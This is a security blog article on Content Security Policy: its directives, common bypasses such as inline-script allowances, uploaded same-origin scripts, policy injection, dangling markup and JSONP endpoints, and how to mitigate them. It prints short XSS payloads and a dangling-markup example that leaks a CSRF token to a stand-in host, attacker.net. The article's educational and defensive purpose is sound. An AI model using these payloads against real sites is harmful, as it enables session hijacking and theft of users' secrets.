CSP Bypass: Common Techniques and Mitigations

Techniques to bypass CSP , vulnerable attack scenarios and how to protect against them
Bhavarth Karmarkar
September 1st 2023.
content security policy bypass xss cors data exfiltration misconfiguration policy injection dangling markup injection mitigations

CSP Bypass: Common Techniques and Mitigations

​ As we all know an inadvertent Cross-Site Scripting (or XSS) bug can lead to information disclosure, session hijacking and malicious behavior on the victim’s behalf causing major damage to the individual(s). Even if it is relatively a lot easier these days to avoid XSS flaws by using reliable Web-Application Frameworks, it can be tricky to do so because of the ever growing need to release new features as quickly as possible resulting in human errors which are inevitable as developers try to keep up with the pace. Thus it becomes important to keep additional and reliable security measures in mind throughout the development cycle, the Content Security Policy comes in for the rescue. ​

Content Security Policy

​ What is Content Security Policy? According to MDN Web Docs: ​

  • Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft, to site defacement, to malware distribution. ​ While its role in curbing cross-site scripting (XSS) and other attacks is undeniable, understanding the intricacies of CSP, including its vulnerabilities and bypassing techniques, is vital for crafting an ironclad defense strategy. This in-depth exploration delves into CSP's nuances, exposes real-world attack scenarios, and their countermeasures to reinforce your web application's security. ​


​ CSP is used to list and describe the paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. It is is implemented via response headers or meta elements of the HTML page. This instructs the browser how to allow the resources according to the received CSP directives. ​ There are mainly two ways for implementing CSP on a web page: ​

  • Using Content-Security-Policy Header: The web server sends additional header which contains the directives that define the behavior of CSP ​
1Content-Security-Policy: default-src 'self'; image-src <https://ibb.co> 'self'; script-src 'none' 2

  • Using the HTML meta tag: This is another way of instructing the browser about CSP directives. It can be seen implemented in the meta tag as shown below ​
1<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src *; child-src 'none';">></meta> 2

CSP Directives

​ Their are many different directives pertaining to different resources and where they appear on the page, as well as their relation with the current page. These are defined and explained below: ​

  • script-src: This directive is used to specify the origins from which javascript can be loaded and executed. This not only blocks the URLs but also inline event handlers and XSLT stylesheets
  • default-src: This directive is used as a fallback for when the directive for that resource is absent in the CSP. It lists the sources which could be allowed to load that resource by-default.
  • connect-src: This is used to specify the sources which could be used with interfaces like Fetch, XMLHttpRequest and Websocket.
  • frame-src: Used to specify sources which can be framed in an iframe
  • frame-ancestor: Used to specify sources which can frame the current page
  • img-src: Sources from which images can be loaded using the img tag
  • base-uri: restricts the URLs which can be used in a document's <base> element to load relative addresses. ​ ​

CSP Sources

  • * This allows any url except data: , blob: , filesystem: schemes
  • self: This source defines that loading of resources on the page is allowed from the same domain.
  • data: This source allows loading resources via the data scheme (eg Base64 encoded images)
  • none: This directive allows nothing to be loaded from any source.
  • unsafe-eval: This allows the use of eval() and similar methods for creating code from strings. This is not a safe practice to include this source in any directive. For the same reason, it is named unsafe.
  • unsafe-hashes: This allows to enable of specific inline event handlers.
  • unsafe-inline: This allows the use of inline resources, such as inline elements, javascript: URLs, inline event handlers, and inline elements. Again this is not recommended for security reasons.
  • nonce: A whitelist for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy.
  • sha256-<hash>: Whitelist scripts with a specific sha256 hash
  • host: Indicate a host such as example.com

Misconfigurations and Bypasses

'unsafe-inline' and 'unsafe-eval'

Content-Security-Policy:script-src 'unsafe-inline' 'unsafe-eval'; default 'self';

​ These directives are vulnerable by their nature. Suppose that an attacker is able to inject some text in a web page, he may be able to execute xss with a payload as simple as: "><script>alert(1)</script> since the CSP allows the execution of inline javascript. Also, with unsafe-eval the script can be executed with the payload <img onload=eval('alert(1)')>

'self' with file upload

Content-Security-Policy: script-src 'self'; image-src 'self'; default-src 'none'

Suppose that the web application consists of a vulnerability which allows the attacker to inject his payload into the HTML of a page but the CSP policy only allows scripts to be loaded from the same domain. This would prevent the attacker from injecting inline javascript and also prevent the loading of javascript source code from external website. However, the web application also consists of a functionality which allows users to upload a file and it's url is known after upload. Let's assume an example web application - www.example-app.com which contains an endpoint that allows users to upload files for eg www.example-app.com/user/upload and the url is predictable / returned in the server response for Eg. www.example-app.com/user/user-id/file-name ,then we can bypass the csp by uploading a file with malicious Javascript code in it and then including it in our payload as "><script src="https://www.example-app.com/user/1243315/payload.js"></script> . This would bypass the CSP as the resource is coming from the same origin+ ​

CSP Bypass with IFrame

​ Suppose that there is very strict csp:

Content-Security-Policy: script-src 'sha-<unpredictable-hash>';default-src 'self

Then if there is a way to upload a JS file to the server, we can use it to bypass the csp. We just need to frame the url of the uploaded JS file in an iframe and provide src with a relative path to the website. For Eg:

<iframe src="/uploads/user/23532/payload.js"></iframe

This frame would be considered same origin and will be able to access all the elements of the parent. ​

Policy Injection

​ Consider a scenario where a parameter from the query string of the URL is used to construct the CSP policy. For eg. Take the scenario where the report-uri directive of CSP is being used to log any violation of the CSP. The token parameter of the get request to an endpoint on example.app is used to construct the csp policy. This will allow the attacker to inject his own policy in the csp header. https://example-app.com/some/endpoint?id=72963&token=%3B%2520script%252Dsrc%252Delem%2520%2527unsafe%252Dinline%2527

Content-Security-Policy: script-src 'self' .....; report-uri /api/report/csp?token=token_value; script-src-elem 'unsafe-inline'

[NOTE] Here we have used the 'script-src-elem' directive, which overrides the behaviour of script-src and defines the sources of the <script> block. Unsafe inline means that attacker can execute his javascript inline by using an injection bug. ​

Dangling Markup Injection

In this technique, the attacker can bypass the CSP Policy to exfiltrate secrets like csrf-tokens or autofilled passwords etc. It works due to the fact that browser attempts to always close an opened tag by matching it with the next corresponding closing tag or an opening angle bracket by the nearest closing angle bracket, an opening quote with closing quote and so on. Consider a scenario where an injection point is discovered on the page which allows image files to be loaded from any source (*).

Content-Security-Policy: image-src *; default-src 'self'

INJECTION HERE <b>test</b>  
token = 'supersecret';  
<form action="blah"></form>

Now if the webpage contains some secrets like csrf-token or passwords,then the attacker can use a browser shenanigan to exfiltrate the data to his own web server by doing something like this: ​ dangling-markup-injection ​ This would cause the entire text after "?" until the next double quotation mark to be sent as a query string to the attacker's server, thus infiltrating the secret token value. ​ There is another technique when image-src is set to 'self' or 'none' or default-src is 'self' or 'none' ​

Content-Security-Policy: image-src 'self'; default-src 'none'; base-uri 'none'

In this case the successful exploitation of dangling markup injection may require certain user interaction of clicking on a button. ​ Taking the same scenario as above, we have our injection point

INJECTION HERE <b>test</b>  
token = 'supersecret';  
<form action="blah"></form>

​ Now, we will create a button which the user should click and set the target of base tag with dangling markup:

<a href="https://attacker.net/exfil_data.html">Click Me</a><base target="  
token = 'supersecret';  
<form action="blah"></form>

This will cause the window.name to be set to the markup after the double quotes of the target attribute, and since window name can be shared cross origin we can simply exfiltrate the secret by printing the value of window.name in the exfil_data.html on the attacker's server ​ ​

Insecure 3rd party endpoints with JSONP callbacks allowed

Many websites provide endpoints which support JSONP callbacks, which basically allow attackers to specify a callback function after receiving json response in the url itself which is included as a parameter for eg &callback=alert(1). In this scenario, some trusted sites are allowed to load resources on the website, for eg. https://www.youtube.com which can be bypassed using the JSONP callback parameter. This site contains a list of all the sites that can be bypassed using JSONP along with the payloads ​

Common Mitigations

​ Mitigating against various CSP bypass mechanisms involves employing a combination of carefully crafted directives and strategic policy implementation. To counter potential script injection attacks, it's crucial to define stringent policies for script sources. Utilizing the 'self' directive, as shown in the examples "script-src 'self'", ensures scripts are only loaded from the same origin as the page. You must be confident in the fact that no attacker input can reach any file hosted on your server. Caution should be exercised with external domains; specifying specific trusted sources, like "script-src https://scripts.normal-website.com", can minimize risk. For added security, CSP offers nonces and hashes. Nonces, randomly generated per page load, should match the script tag's nonce attribute. Hashes validate script content integrity. Similarly, guarding against dangling markup threats involves employing directives such as "img-src 'self'" or "img-src https://images.normal-website.com" to restrict image origins. Policy injection vulnerabilities can be addressed by avoiding reflecting input into report-uri directives and by utilizing new directives like "script-src-elem" to overwrite existing script-src rules. Lastly, clickjacking concerns are mitigated by employing "frame-ancestors" directives to control framing origins. Employing CSP in tandem with the X-Frame-Options header ensures a multi-layered approach to protection across different browsers, including older ones like Internet Explorer. ​ ​

Useful Tools and Resources

Google’s CSP Evaluator JSONBee

Let's take your security
to the next level